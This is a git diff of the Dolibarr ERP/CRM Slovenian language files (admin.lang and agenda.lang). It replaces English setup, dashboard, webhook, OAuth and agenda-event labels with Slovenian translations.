      'email= HEADER:^From:(.*);name=EXTRACT:BODY:Name:\\s([^\\s]*);client=SET:2;'
      +EndPointFor=Končna točka za %s : %s +DeleteEmailCollector=Izbriši zbiralnik e-pošte +ConfirmDeleteEmailCollector=Ali ste prepričani, da želite izbrisati ta zbiralnik e-pošte? +RecipientEmailsWillBeReplacedWithThisValue=E-poštna sporočila prejemnikov bodo vedno nadomeščena s to vrednostjo +AtLeastOneDefaultBankAccountMandatory=Določen mora biti vsaj 1 privzeti bančni račun +RESTRICT_ON_IP=Dovolite dostop API-ja samo do določenih IP-jev strank (nadomestni znak ni dovoljen, med vrednostmi uporabite presledek). Prazno pomeni, da lahko dostopajo vse stranke. IPListExample=127.0.0.1 192.168.0.2 [::1] -BaseOnSabeDavVersion=Based on the library SabreDAV version -NotAPublicIp=Not a public IP -MakeAnonymousPing=Make an anonymous Ping '+1' to the Dolibarr foundation server (done 1 time only after installation) to allow the foundation to count the number of Dolibarr installation. -FeatureNotAvailableWithReceptionModule=Feature not available when module Reception is enabled -EmailTemplate=Template for email -EMailsWillHaveMessageID=Emails will have a tag 'References' matching this syntax -PDF_SHOW_PROJECT=Show project on document -ShowProjectLabel=Project Label -PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME=Include alias in thirdparty name -THIRDPARTY_ALIAS=Name thirdparty - Alias thirdparty -ALIAS_THIRDPARTY=Alias thirdparty - Name thirdparty -PDF_USE_ALSO_LANGUAGE_CODE=If you want to have some texts in your PDF duplicated in 2 different languages in the same generated PDF, you must set here this second language so generated PDF will contains 2 different languages in same page, the one chosen when generating PDF and this one (only few PDF templates support this). Keep empty for 1 language per PDF. -PDF_USE_A=Gererate PDF documents with format PDF/A instead of defaut format PDF -FafaIconSocialNetworksDesc=Enter here the code of a FontAwesome icon. If you don't know what is FontAwesome, you can use the generic value fa-address-book. -RssNote=Note: Each RSS feed definition provides a widget that you must enable to have it available in dashboard -JumpToBoxes=Jump to Setup -> Widgets -MeasuringUnitTypeDesc=Use here a value like "size", "surface", "volume", "weight", "time" -MeasuringScaleDesc=The scale is the number of places you have to move the decimal part to match the default reference unit. For "time" unit type, it is the number of seconds. Values between 80 and 99 are reserved values. -TemplateAdded=Template added -TemplateUpdated=Template updated -TemplateDeleted=Template deleted -MailToSendEventPush=Event reminder email -SwitchThisForABetterSecurity=Switching this value to %s is recommended for more security -DictionaryProductNature= Nature of product -CountryIfSpecificToOneCountry=Country (if specific to a given country) -YouMayFindSecurityAdviceHere=You may find security advisory here -ModuleActivatedMayExposeInformation=This PHP extension may expose sensitive data. If you don't need it, disable it. -ModuleActivatedDoNotUseInProduction=A module designed for the development has been enabled. Do not enable it on a production environment. -CombinationsSeparator=Separator character for product combinations -SeeLinkToOnlineDocumentation=See link to online documention on top menu for examples -SHOW_SUBPRODUCT_REF_IN_PDF=If the feature "%s" of module %s is used, show details of subproducts of a kit on PDF. -AskThisIDToYourBank=Contact your bank to get this ID -AdvancedModeOnly=Permision available in Advanced permission mode only -ConfFileIsReadableOrWritableByAnyUsers=The conf file is readable or writable by any users. Give permission to web server user and group only. -MailToSendEventOrganization=Event Organization -MailToPartnership=Partnership -AGENDA_EVENT_DEFAULT_STATUS=Default event status when creating a event from the form -YouShouldDisablePHPFunctions=You should disable PHP functions -IfCLINotRequiredYouShouldDisablePHPFunctions=Except if you need to run system commands in custom code, you shoud disable PHP functions -PHPFunctionsRequiredForCLI=For shell purpose (like scheduled job backup or running an anitivurs program), you must keep PHP functions -NoWritableFilesFoundIntoRootDir=No writable files or directories of the common programs were found into your root directory (Good) -RecommendedValueIs=Recommended: %s +BaseOnSabeDavVersion=Temelji na različici knjižnice SabreDAV +NotAPublicIp=Ni javni IP +MakeAnonymousPing=Izvedite anonimni ping '+1' na strežnik fundacije Dolibarr (izvedeno samo 1-krat po namestitvi), da omogočite fundaciji, da prešteje število namestitev Dolibarr. +FeatureNotAvailableWithReceptionModule=Funkcija ni na voljo, ko je omogočen modul Sprejem +EmailTemplate=Predloga za e-pošto +EMailsWillHaveMessageID=E-poštna sporočila bodo imela oznako 'Reference', ki se ujema s to sintakso +PDF_SHOW_PROJECT=Pokaži projekt na dokumentu +ShowProjectLabel=Oznaka projekta +PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME=V ime partnerja vključite vzdevek +THIRDPARTY_ALIAS=Ime partnerja - vzdevek +ALIAS_THIRDPARTY=Vzdevek partnerja – ime partnerja +PDFIn2Languages=Show labels into PDF in 2 different languages +PDF_USE_ALSO_LANGUAGE_CODE=Če želite imeti nekatera besedila v vašem PDF-ju podvojena v 2 različnih jezikih v istem ustvarjenem PDF-ju, morate tukaj nastaviti ta drugi jezik, tako da bo ustvarjeni PDF vseboval 2 različna jezika na isti strani, tistega, izbranega pri ustvarjanju PDF-ja, in tega ( to podpira le nekaj predlog PDF). Pustite prazno za 1 jezik na PDF. +PDF_USE_A=Ustvari dokumente PDF s formatom PDF/A namesto s privzetim formatom PDF +FafaIconSocialNetworksDesc=Tukaj vnesite kodo ikone FontAwesome. Če ne veste, kaj je FontAwesome, lahko uporabite generično vrednost fa-adress-book. +RssNote=Opomba: vsaka definicija vira RSS ponuja gradnik, ki ga morate omogočiti, da bo na voljo na nadzorni plošči +JumpToBoxes=Pojdite na Nastavitve -> Pripomočki +MeasuringUnitTypeDesc=Tukaj uporabite vrednost, kot je "size", "surface", "volume", "weight", "time" +MeasuringScaleDesc=Lestvica je število mest, za katera morate premakniti decimalni del, da se ujema s privzeto referenčno enoto. Za tip enote "čas" je to število sekund. Vrednosti med 80 in 99 so rezervirane vrednosti. +TemplateAdded=Dodana predloga +TemplateUpdated=Predloga posodobljena +TemplateDeleted=Predloga izbrisana +MailToSendEventPush=E-poštni opomnik za dogodek +SwitchThisForABetterSecurity=Za večjo varnost priporočamo, da to vrednost spremenite v %s +DictionaryProductNature= Narava izdelka +CountryIfSpecificToOneCountry=Država (če je specifična za dano državo) +YouMayFindSecurityAdviceHere=Tukaj lahko najdete varnostne nasvete +ModuleActivatedMayExposeInformation=Ta razširitev PHP lahko razkrije občutljive podatke. Če ga ne potrebujete, ga onemogočite. +ModuleActivatedDoNotUseInProduction=Omogočen je bil modul, namenjen razvoju. Ne omogočite ga v produkcijskem okolju. +CombinationsSeparator=Ločevalni znak za kombinacije izdelkov +SeeLinkToOnlineDocumentation=Za primere glejte povezavo do spletne dokumentacije v zgornjem meniju +SHOW_SUBPRODUCT_REF_IN_PDF=Če je uporabljena funkcija "%s" modula %s , pokažite podrobnosti podproizvodov kompleta v PDF-ju. +AskThisIDToYourBank=Za ta ID se obrnite na svojo banko +AdvancedModeOnly=Dovoljenje je na voljo samo v naprednem načinu dovoljenj +ConfFileIsReadableOrWritableByAnyUsers=Datoteko conf lahko berejo ali zapisujejo vsi uporabniki. Dajte dovoljenje samo uporabniku in skupini spletnega strežnika. +MailToSendEventOrganization=Organizacija dogodkov +MailToPartnership=Partnerstvo +AGENDA_EVENT_DEFAULT_STATUS=Privzeti status dogodka pri ustvarjanju dogodka iz obrazca +YouShouldDisablePHPFunctions=Funkcije PHP bi morali onemogočiti +IfCLINotRequiredYouShouldDisablePHPFunctions=Funkcije PHP bi morali onemogočiti, razen če morate zagnati sistemske ukaze v kodi po meri +PHPFunctionsRequiredForCLI=For shell purpose (like scheduled job backup or running an antivirus program), you must keep PHP functions +NoWritableFilesFoundIntoRootDir=V vašem korenskem imeniku ni bilo najdenih zapisljivih datotek ali imenikov običajnih programov (dobro) +RecommendedValueIs=Priporočeno: %s Recommended=Priporočena -NotRecommended=Not recommended -ARestrictedPath=Some restricted path -CheckForModuleUpdate=Check for external modules updates -CheckForModuleUpdateHelp=This action will connect to editors of external modules to check if a new version is available. -ModuleUpdateAvailable=An update is available -NoExternalModuleWithUpdate=No updates found for external modules -SwaggerDescriptionFile=Swagger API description file (for use with redoc for example) -YouEnableDeprecatedWSAPIsUseRESTAPIsInstead=You enabled deprecated WS API. You should use REST API instead. -RandomlySelectedIfSeveral=Randomly selected if several pictures are available -SalesRepresentativeInfo=For Proposals, Orders, Invoices. -DatabasePasswordObfuscated=Database password is obfuscated in conf file -DatabasePasswordNotObfuscated=Database password is NOT obfuscated in conf file -APIsAreNotEnabled=APIs modules are not enabled -YouShouldSetThisToOff=You should set this to 0 or off -InstallAndUpgradeLockedBy=Install and upgrades are locked by the file %s -OldImplementation=Old implementation -PDF_SHOW_LINK_TO_ONLINE_PAYMENT=If some online payment modules are enabled (Paypal, Stripe, ...), add a link on the PDF to make the online payment -DashboardDisableGlobal=Disable globally all the thumbs of open objects -BoxstatsDisableGlobal=Disable totally box statistics -DashboardDisableBlocks=Thumbs of open objects (to process or late) on main dashboard -DashboardDisableBlockAgenda=Disable the thumb for agenda -DashboardDisableBlockProject=Disable the thumb for projects -DashboardDisableBlockCustomer=Disable the thumb for customers -DashboardDisableBlockSupplier=Disable the thumb for suppliers -DashboardDisableBlockContract=Disable the thumb for contracts -DashboardDisableBlockTicket=Disable the thumb for tickets -DashboardDisableBlockBank=Disable the thumb for banks -DashboardDisableBlockAdherent=Disable the thumb for memberships -DashboardDisableBlockExpenseReport=Disable the thumb for expense reports -DashboardDisableBlockHoliday=Disable the thumb for leaves -EnabledCondition=Condition to have field enabled (if not enabled, visibility will always be off) -IfYouUseASecondTaxYouMustSetYouUseTheMainTax=If you want to use a second tax, you must enable also the first sales tax -IfYouUseAThirdTaxYouMustSetYouUseTheMainTax=If you want to use a third tax, you must enable also the first sales tax -LanguageAndPresentation=Language and presentation -SkinAndColors=Skin and colors -IfYouUseASecondTaxYouMustSetYouUseTheMainTax=If you want to use a second tax, you must enable also the first sales tax -IfYouUseAThirdTaxYouMustSetYouUseTheMainTax=If you want to use a third tax, you must enable also the first sales tax -PDF_USE_1A=Generate PDF with PDF/A-1b format -MissingTranslationForConfKey = Missing translation for %s -NativeModules=Native modules -NoDeployedModulesFoundWithThisSearchCriteria=No modules found for these search criteria -API_DISABLE_COMPRESSION=Disable compression of API responses -EachTerminalHasItsOwnCounter=Each terminal use its own counter. -FillAndSaveAccountIdAndSecret=Fill and save account ID and secret first -PreviousHash=Previous hash -LateWarningAfter="Late" warning after -TemplateforBusinessCards=Template for a business card in different size -InventorySetup= Inventory Setup -ExportUseLowMemoryMode=Use a low memory mode -ExportUseLowMemoryModeHelp=Use the low memory mode to execute the exec of the dump (compression is done through a pipe instead of into the PHP memory). This method does not allow to check that file is completed and error message can't be reported if it fails. +NotRecommended=Ni priporočljivo +ARestrictedPath=Some restricted path for data files +CheckForModuleUpdate=Preverite posodobitve zunanjih modulov +CheckForModuleUpdateHelp=To dejanje bo vzpostavilo povezavo z urejevalniki zunanjih modulov in preverilo, ali je na voljo nova različica. +ModuleUpdateAvailable=Na voljo je posodobitev +NoExternalModuleWithUpdate=Za zunanje module ni bilo najdenih posodobitev +SwaggerDescriptionFile=Opisna datoteka Swagger API (na primer za uporabo z redoc) +YouEnableDeprecatedWSAPIsUseRESTAPIsInstead=Omogočili ste zastarel WS API. Namesto tega bi morali uporabiti REST API. +RandomlySelectedIfSeveral=Naključno izbrano, če je na voljo več slik +SalesRepresentativeInfo=Za ponudbe, naročila, račune. +DatabasePasswordObfuscated=Geslo baze podatkov je zakrito v datoteki conf +DatabasePasswordNotObfuscated=Geslo baze podatkov NI zakrito v datoteki conf +APIsAreNotEnabled=Moduli API-jev niso omogočeni +YouShouldSetThisToOff=To bi morali nastaviti na 0 ali izklopiti +InstallAndUpgradeLockedBy=Namestitev in nadgradnje so zaklenjene z datoteko %s +OldImplementation=Stara izvedba +PDF_SHOW_LINK_TO_ONLINE_PAYMENT=Če so omogočeni nekateri moduli za spletno plačevanje (Paypal, Stripe, ...), dodajte povezavo na PDF za izvedbo spletnega plačila +DashboardDisableGlobal=Globalno onemogoči vse palce odprtih predmetov +BoxstatsDisableGlobal=Popolnoma onemogoči statistiko polja +DashboardDisableBlocks=Palci odprtih predmetov (za obdelavo ali pozno) na glavni armaturni plošči +DashboardDisableBlockAgenda=Onemogoči palec za dnevni red +DashboardDisableBlockProject=Onemogoči palec za projekte +DashboardDisableBlockCustomer=Onemogoči palec za stranke +DashboardDisableBlockSupplier=Onemogoči palec za dobavitelje +DashboardDisableBlockContract=Onemogoči palec za pogodbe +DashboardDisableBlockTicket=Onemogoči palec za vstopnice +DashboardDisableBlockBank=Onemogoči palec za banke +DashboardDisableBlockAdherent=Onemogoči palec za članstva +DashboardDisableBlockExpenseReport=Onemogoči palec za poročila o stroških +DashboardDisableBlockHoliday=Onemogoči palec za liste +EnabledCondition=Pogoj, da je polje omogočeno (če ni omogočeno, bo vidnost vedno izklopljena) +IfYouUseASecondTaxYouMustSetYouUseTheMainTax=Če želite uporabiti drugi davek, morate omogočiti tudi prvi prometni davek +IfYouUseAThirdTaxYouMustSetYouUseTheMainTax=Če želite uporabiti tretji davek, morate omogočiti tudi prvi prometni davek +LanguageAndPresentation=Jezik in predstavitev +SkinAndColors=Koža in barve +IfYouUseASecondTaxYouMustSetYouUseTheMainTax=Če želite uporabiti drugi davek, morate omogočiti tudi prvi prometni davek +IfYouUseAThirdTaxYouMustSetYouUseTheMainTax=Če želite uporabiti tretji davek, morate omogočiti tudi prvi prometni davek +PDF_USE_1A=Ustvari PDF s formatom PDF/A-1b +MissingTranslationForConfKey = Manjka prevod za %s +NativeModules=Izvorni moduli +NoDeployedModulesFoundWithThisSearchCriteria=Za te iskalne kriterije ni bilo mogoče najti nobenih modulov +API_DISABLE_COMPRESSION=Onemogoči stiskanje odzivov API-ja +EachTerminalHasItsOwnCounter=Vsak terminal uporablja svoj števec. +FillAndSaveAccountIdAndSecret=Najprej izpolnite in shranite ID in skrivnost računa +PreviousHash=Prejšnji hash +LateWarningAfter="Pozno" opozorilo po +TemplateforBusinessCards=Šablona za vizitko v različnih velikostih +InventorySetup= Nastavitev inventarja +ExportUseLowMemoryMode=Uporabite način nizke količine pomnilnika +ExportUseLowMemoryModeHelp=Uporabite način nizkega pomnilnika za ustvarjanje datoteke izpisa (stiskanje poteka skozi cev namesto v pomnilnik PHP). Ta metoda ne omogoča preverjanja, ali je datoteka popolna, in sporočila o napaki ni mogoče sporočiti, če ne uspe. Uporabite ga, če naletite na napake premalo pomnilnika. ModuleWebhookName = Webhook -ModuleWebhookDesc = Interface to catch dolibarr triggers and send it to an URL -WebhookSetup = Webhook setup -Settings = Settings -WebhookSetupPage = Webhook setup page -ShowQuickAddLink=Show a button to quickly add an element in top right menu +ModuleWebhookDesc = Interface to catch dolibarr triggers and send data of the event to an URL +WebhookSetup = Nastavitev Webhooka +Settings = nastavitve +WebhookSetupPage = Stran za nastavitev Webhooka +ShowQuickAddLink=Prikaži gumb za hitro dodajanje elementa v zgornjem desnem meniju -HashForPing=Hash used for ping -ReadOnlyMode=Is instance in "Read Only" mode -DEBUGBAR_USE_LOG_FILE=Use the dolibarr.log file to trap Logs -UsingLogFileShowAllRecordOfSubrequestButIsSlower=Use the dolibarr.log file to trap Logs instead of live memory catching. It allows to catch all logs instead of only log of current process (so including the one of ajax subrequests pages) but will make your instance very very slow. Not recommended. -FixedOrPercent=Fixed (use keyword 'fixed') or percent (use keyword 'percent') -DefaultOpportunityStatus=Default opportunity status (first status when lead is created) +HashForPing=Hash, uporabljen za ping +ReadOnlyMode=Je primerek v načinu »Samo za branje«. +DEBUGBAR_USE_LOG_FILE=Za prestrezanje dnevnikov uporabite datoteko dolibarr.log +UsingLogFileShowAllRecordOfSubrequestButIsSlower=Uporabite datoteko dolibarr.log za lovljenje dnevnikov namesto za lovljenje spomina v živo. Omogoča zajemanje vseh dnevnikov namesto samo dnevnika trenutnega procesa (torej vključno s stranmi s podzahtevami ajax), vendar bo vaš primer zelo zelo počasen. Ni priporočljivo. +FixedOrPercent=Fiksno (uporabite ključno besedo 'fixed') ali odstotek (uporabite ključno besedo 'percent') +DefaultOpportunityStatus=Privzeto stanje priložnosti (prvo stanje, ko je potencialna stranka ustvarjena) -IconAndText=Icon and text -TextOnly=Text only -IconOnlyAllTextsOnHover=Icon only - All texts appears under icon on mouse hover menu bar -IconOnlyTextOnHover=Icon only - Text of icon appears under icon on mouse hover the icon -IconOnly=Icon only - Text on tooltip only -INVOICE_ADD_ZATCA_QR_CODE=Show the ZATCA QR code on invoices -INVOICE_ADD_ZATCA_QR_CODEMore=Some Arabic countries need this QR Code on their invoices -INVOICE_ADD_SWISS_QR_CODE=Show the swiss QR-Bill code on invoices -UrlSocialNetworksDesc=Url link of social network. Use {socialid} for the variable part that contains the social network ID. -IfThisCategoryIsChildOfAnother=If this category is a child of another one -DarkThemeMode=Dark theme mode -AlwaysDisabled=Always disabled -AccordingToBrowser=According to browser -AlwaysEnabled=Always Enabled -DoesNotWorkWithAllThemes=Will not work with all themes -NoName=No name -ShowAdvancedOptions= Show advanced options -HideAdvancedoptions= Hide advanced options -CIDLookupURL=The module brings an URL that can be used by an external tool to get the name of a thirdparty or contact from its phone number. URL to use is: -OauthNotAvailableForAllAndHadToBeCreatedBefore=OAUTH2 authentication is not available for all hosts, and a token with the right permissions must have been created upstream with the OAUTH module -MAIN_MAIL_SMTPS_OAUTH_SERVICE=OAUTH2 authentication service -DontForgetCreateTokenOauthMod=A token with the right permissions must have been created upstream with the OAUTH module -MAIN_MAIL_SMTPS_AUTH_TYPE=Authentification method -UsePassword=Use a password -UseOauth=Use a OAUTH token -Images=Images -MaxNumberOfImagesInGetPost=Max number of images allowed in a HTML field submitted in a form +IconAndText=Ikona in besedilo +TextOnly=Samo besedilo +IconOnlyAllTextsOnHover=Samo ikona – Vsa besedila so prikazana pod ikono v menijski vrstici z lebdenjem miške +IconOnlyTextOnHover=Samo ikona – Besedilo ikone se prikaže pod ikono, ko miško premaknete na ikono +IconOnly=Samo ikona – Samo besedilo na opisu orodja +INVOICE_ADD_ZATCA_QR_CODE=Pokažite kodo ZATCA QR na računih +INVOICE_ADD_ZATCA_QR_CODEMore=Nekatere arabske države potrebujejo to kodo QR na svojih računih +INVOICE_ADD_SWISS_QR_CODE=Pokažite švicarsko kodo QR-Bill na računih +INVOICE_SHOW_SHIPPING_ADDRESS=Show shipping address +INVOICE_SHOW_SHIPPING_ADDRESSMore=Compulsory mention for France +UrlSocialNetworksDesc=URL povezava družbenega omrežja. Uporabite {socialid} za spremenljivko, ki vsebuje ID družbenega omrežja. +IfThisCategoryIsChildOfAnother=Če je ta kategorija podrejena drugi +DarkThemeMode=Način temne teme +AlwaysDisabled=Vedno onemogočen +AccordingToBrowser=Glede na brskalnik +AlwaysEnabled=Vedno omogočeno +DoesNotWorkWithAllThemes=Ne bo delovalo z vsemi temami +NoName=Brez imena +ShowAdvancedOptions= Prikaži napredne možnosti +HideAdvancedoptions= Skrij napredne možnosti +CIDLookupURL=Modul prinaša URL, ki ga lahko zunanje orodje uporabi za pridobitev imena tretje osebe ali kontakta iz njene telefonske številke. URL za uporabo je: +OauthNotAvailableForAllAndHadToBeCreatedBefore=Preverjanje pristnosti OAUTH2 ni na voljo za vse gostitelje in žeton s pravimi dovoljenji je moral biti ustvarjen navzgor z modulom OAUTH +MAIN_MAIL_SMTPS_OAUTH_SERVICE=Storitev za preverjanje pristnosti OAUTH2 +DontForgetCreateTokenOauthMod=Žeton s pravimi dovoljenji je moral biti ustvarjen navzgor z modulom OAUTH +MAIN_MAIL_SMTPS_AUTH_TYPE=Metoda preverjanja pristnosti +UsePassword=Uporabite geslo +UseOauth=Uporabite žeton OAUTH +Images=Slike +MaxNumberOfImagesInGetPost=Največje dovoljeno število slik v polju HTML, predloženem v obrazcu +MaxNumberOfPostOnPublicPagesByIP=Max number of posts on public pages with the same IP address in a month +CIDLookupURL=Modul prinaša URL, ki ga lahko zunanje orodje uporabi za pridobitev imena tretje osebe ali kontakta iz njene telefonske številke. URL za uporabo je: +ScriptIsEmpty=Skript je prazen +ShowHideTheNRequests=Pokaži/skrij zahteve SQL %s +DefinedAPathForAntivirusCommandIntoSetup=Določite pot za protivirusni program v %s +TriggerCodes=Sprožilni dogodki +TriggerCodeInfo=Tukaj vnesite sprožilno kodo(-e), ki mora ustvariti objavo spletne zahteve (dovoljen je samo zunanji URL). Vnesete lahko več kod sprožilcev, ločenih z vejico. +EditableWhenDraftOnly=Če ni potrjeno, je vrednost mogoče spremeniti le, če ima predmet status osnutka +CssOnEdit=Css na straneh za urejanje +CssOnView=CSS na straneh za ogled +CssOnList=CSS na straneh s seznami +HelpCssOnEditDesc=Css, uporabljen pri urejanju polja.
      Primer: "minwiwdth100 maxwidth500 widthcentpercentminusx" +HelpCssOnViewDesc=Css, uporabljen pri ogledu polja. +HelpCssOnListDesc=Css, uporabljen, ko je polje znotraj tabele seznama.
      Primer: "tdoverflowmax200" +RECEPTION_PDF_HIDE_ORDERED=Skrij naročeno količino na generiranih dokumentih za sprejeme +MAIN_PDF_RECEPTION_DISPLAY_AMOUNT_HT=Pokažite ceno na ustvarjenih dokumentih za sprejeme +WarningDisabled=Opozorila so onemogočena +LimitsAndMitigation=Omejitve dostopa in ublažitev +DesktopsOnly=Samo računalniki +DesktopsAndSmartphones=Računalniki in mobilne naprave +AllowOnlineSign=Dovoli spletno podpisovanje +AllowExternalDownload=Allow external download (without login, using a shared link) +DeadlineDayVATSubmission=Deadline day for vat submission on the next month +MaxNumberOfAttachementOnForms=Max number of joinded files in a form +IfDefinedUseAValueBeetween=If defined, use a value between %s and %s +Reload=Reload +ConfirmReload=Confirm module reload +WarningModuleHasChangedLastVersionCheckParameter=Warning: the module %s has set a parameter to check its version at each page access. This is a bad and not allowed practice that may make the page to administer modules instable. Please contact author of module to fix this. +WarningModuleHasChangedSecurityCsrfParameter=Warning: the module %s has disabled the CSRF security of your instance. This action is suspect and your installation may no more be secured. Please contact the author of the module for explanation. +EMailsInGoingDesc=Incoming emails are managed by the module %s. You must enable and configure it if you need to support ingoing emails. +MAIN_IMAP_USE_PHPIMAP=Use the PHP-IMAP library for IMAP instead of native PHP IMAP. This also allows the use of an OAuth2 connection for IMAP (module OAuth must also be activated). +MAIN_CHECKBOX_LEFT_COLUMN=Show the column for field and line selection on the left (on the right by default) + +CSSPage=CSS Style diff --git a/htdocs/langs/sl_SI/agenda.lang b/htdocs/langs/sl_SI/agenda.lang index 58a9d24eceb..6b3693bf8df 100644 --- a/htdocs/langs/sl_SI/agenda.lang +++ b/htdocs/langs/sl_SI/agenda.lang @@ -1,10 +1,10 @@ # Dolibarr language file - Source file is en_US - agenda IdAgenda=ID dogodka Actions=Dogodki -Agenda=Urnik -TMenuAgenda=Urnik -Agendas=Urniki -LocalAgenda=Default calendar +Agenda=Koledar +TMenuAgenda=Koledar +Agendas=Koledarji +LocalAgenda=Privzeti koledar ActionsOwnedBy=Zasebni dogodek od ActionsOwnedByShort=Lastnik AffectedTo=Se nanaša na @@ -12,39 +12,40 @@ Event=Aktivnost Events=Dogodki EventsNb=Število dogodkov ListOfActions=Seznam dogodkov -EventReports=Event reports +EventReports=Poročila o dogodkih Location=Lokacija -ToUserOfGroup=Event assigned to any user in the group +ToUserOfGroup=Dogodek, dodeljen kateremu koli uporabniku v skupini EventOnFullDay=Dogodek na celoten dan(ni) MenuToDoActions=Vsi nedokončani dogodki MenuDoneActions=Vsi prekinjeni dogodki MenuToDoMyActions=Moji nedokončani dogodki MenuDoneMyActions=Moji prekinjeni dogodki -ListOfEvents=List of events (default calendar) +ListOfEvents=Seznam dogodkov (privzeti koledar) ActionsAskedBy=Dogodek vnesel -ActionsToDoBy=Dogoki, ki se nanašajo na +ActionsToDoBy=Dogodki so dodeljeni ActionsDoneBy=Dogodke izvedel -ActionAssignedTo=Aktivnost se nanaša na +ActionAssignedTo=Dogodek je dodeljen ViewCal=Mesečni pogled ViewDay=Dnevni pogled ViewWeek=Tedenski pogled ViewPerUser=Pogled po uporabniku -ViewPerType=Per type view +ViewPerType=Pogled na vrsto AutoActions= Avtomatska izpolnitev -AgendaAutoActionDesc= Here you may define events which you want Dolibarr to create automatically in Agenda. If nothing is checked, only manual actions will be included in logs and displayed in Agenda. Automatic tracking of business actions done on objects (validation, status change) will not be saved. -AgendaSetupOtherDesc= This page provides options to allow the export of your Dolibarr events into an external calendar (Thunderbird, Google Calendar etc...) -AgendaExtSitesDesc=Ta stran omogoča določitev zunanjih virov koledarjev za ogled njihovih dogodkov v Dolibarr urniku -ActionsEvents=Dogodki, za katere bo Dolibarr avtomatsko kreiral aktivnost v urniku -EventRemindersByEmailNotEnabled=Event reminders by email was not enabled into %s module setup. +AgendaAutoActionDesc= Tukaj lahko določite dogodke, za katere želite, da jih Dolibarr samodejno ustvari v programu Agenda. Če ni označeno nič, bodo v dnevnike vključena samo ročna dejanja in prikazana v dnevnem redu. Samodejno sledenje opravljenih poslovnih dejanj na objektih (validacija, sprememba statusa) ne bo shranjeno. +AgendaSetupOtherDesc= Na tej strani so možnosti za izvoz vaših dogodkov Dolibarr v zunanji koledar (Thunderbird, Google Calendar itd.) +AgendaExtSitesDesc=Stran omogoča zunanje koledarje za ogled dogodkov v programu +ActionsEvents=Dogodki, ki bodo samodejno kreirani v koledarju +EventRemindersByEmailNotEnabled=Opomniki za dogodke po e-pošti niso bili omogočeni v nastavitvah modula %s. ##### Agenda event labels ##### -NewCompanyToDolibarr=Third party %s created -COMPANY_MODIFYInDolibarr=Third party %s modified -COMPANY_DELETEInDolibarr=Third party %s deleted +NewCompanyToDolibarr=Partner %s ustvarjen +COMPANY_MODIFYInDolibarr=Partner %s spremenjen +COMPANY_DELETEInDolibarr=Partner %s izbrisan ContractValidatedInDolibarr=Pogodba %s potrjena -CONTRACT_DELETEInDolibarr=Contract %s deleted +CONTRACT_DELETEInDolibarr=Pogodba %s izbrisana PropalClosedSignedInDolibarr=Ponudba %s podpisana PropalClosedRefusedInDolibarr=Ponudba %s zavrnjena PropalValidatedInDolibarr=Potrjena ponudba %s +PropalBackToDraftInDolibarr=Predlog %s se vrne v status osnutka PropalClassifiedBilledInDolibarr=Ponudba %s je označena kot "zaračunana" InvoiceValidatedInDolibarr=Potrjen račun %s InvoiceValidatedInDolibarrFromPos=Račun %s je potrjen preko POS @@ -53,20 +54,23 @@ InvoiceDeleteDolibarr=Račun %s izbrisan InvoicePaidInDolibarr=Račun %s spremenjen v 'plačano' InvoiceCanceledInDolibarr=Račun %s preklican MemberValidatedInDolibarr=Član %s potrjen -MemberModifiedInDolibarr=Member %s modified -MemberResiliatedInDolibarr=Member %s terminated +MemberModifiedInDolibarr=Član %s spremenjen +MemberResiliatedInDolibarr=Član %s prekinjen MemberDeletedInDolibarr=Član %s izbrisan -MemberSubscriptionAddedInDolibarr=Subscription %s for member %s added -MemberSubscriptionModifiedInDolibarr=Subscription %s for member %s modified -MemberSubscriptionDeletedInDolibarr=Subscription %s for member %s deleted +MemberExcludedInDolibarr=Član %s izključen +MemberSubscriptionAddedInDolibarr=Dodana naročnina %s za člana %s +MemberSubscriptionModifiedInDolibarr=Spremenjena naročnina %s za člana %s +MemberSubscriptionDeletedInDolibarr=Naročnina %s za člana %s izbrisana ShipmentValidatedInDolibarr=Pošiljka %s potrjena -ShipmentClassifyClosedInDolibarr=Shipment %s classified billed -ShipmentUnClassifyCloseddInDolibarr=Shipment %s classified re-open -ShipmentBackToDraftInDolibarr=Shipment %s go back to draft status +ShipmentClassifyClosedInDolibarr=Pošiljka %s tajno zaračunana +ShipmentUnClassifyCloseddInDolibarr=Pošiljka %s razvrščena ponovno odprta +ShipmentBackToDraftInDolibarr=Pošiljka %s se vrne v status osnutka ShipmentDeletedInDolibarr=Pošiljka %s izbrisana -ShipmentCanceledInDolibarr=Shipment %s canceled -ReceptionValidatedInDolibarr=Reception %s validated -OrderCreatedInDolibarr=Order %s created +ShipmentCanceledInDolibarr=Pošiljka %s preklicana +ReceptionValidatedInDolibarr=Sprejem %s potrjen +ReceptionDeletedInDolibarr=Reception %s deleted +ReceptionClassifyClosedInDolibarr=Sprejem %s tajno zaprt +OrderCreatedInDolibarr=Naročilo %s ustvarjeno OrderValidatedInDolibarr=Potrjeno naročilo %s OrderDeliveredInDolibarr=Naročilo %s označeno kot "dobavljeno" OrderCanceledInDolibarr=Naročilo %s odpovedano @@ -74,78 +78,79 @@ OrderBilledInDolibarr=Naročilo %s označeno kot "zaračunano" OrderApprovedInDolibarr=Naročilo %s odobreno OrderRefusedInDolibarr=Naročilo %s zavrnjeno OrderBackToDraftInDolibarr=Naročilo %s se vrača v status osnutka -ProposalSentByEMail=Commercial proposal %s sent by email -ContractSentByEMail=Contract %s sent by email -OrderSentByEMail=Sales order %s sent by email -InvoiceSentByEMail=Customer invoice %s sent by email -SupplierOrderSentByEMail=Purchase order %s sent by email -ORDER_SUPPLIER_DELETEInDolibarr=Purchase order %s deleted -SupplierInvoiceSentByEMail=Vendor invoice %s sent by email -ShippingSentByEMail=Shipment %s sent by email +ProposalSentByEMail=Komercialni predlog %s poslan po elektronski pošti +ContractSentByEMail=Pogodba %s poslana po e-pošti +OrderSentByEMail=Prodajno naročilo %s poslano po e-pošti +InvoiceSentByEMail=Račun stranke %s poslan po e-pošti +SupplierOrderSentByEMail=Naročilo %s poslano po e-pošti +ORDER_SUPPLIER_DELETEInDolibarr=Naročilo %s izbrisano +SupplierInvoiceSentByEMail=Prejeti račun %s poslan po e-pošti +ShippingSentByEMail=Pošiljka %s poslana po e-pošti ShippingValidated= Pošiljka %s potrjena -InterventionSentByEMail=Intervention %s sent by email -ProposalDeleted=Proposal deleted -OrderDeleted=Order deleted -InvoiceDeleted=Invoice deleted -DraftInvoiceDeleted=Draft invoice deleted -CONTACT_CREATEInDolibarr=Contact %s created -CONTACT_MODIFYInDolibarr=Contact %s modified -CONTACT_DELETEInDolibarr=Contact %s deleted -PRODUCT_CREATEInDolibarr=Product 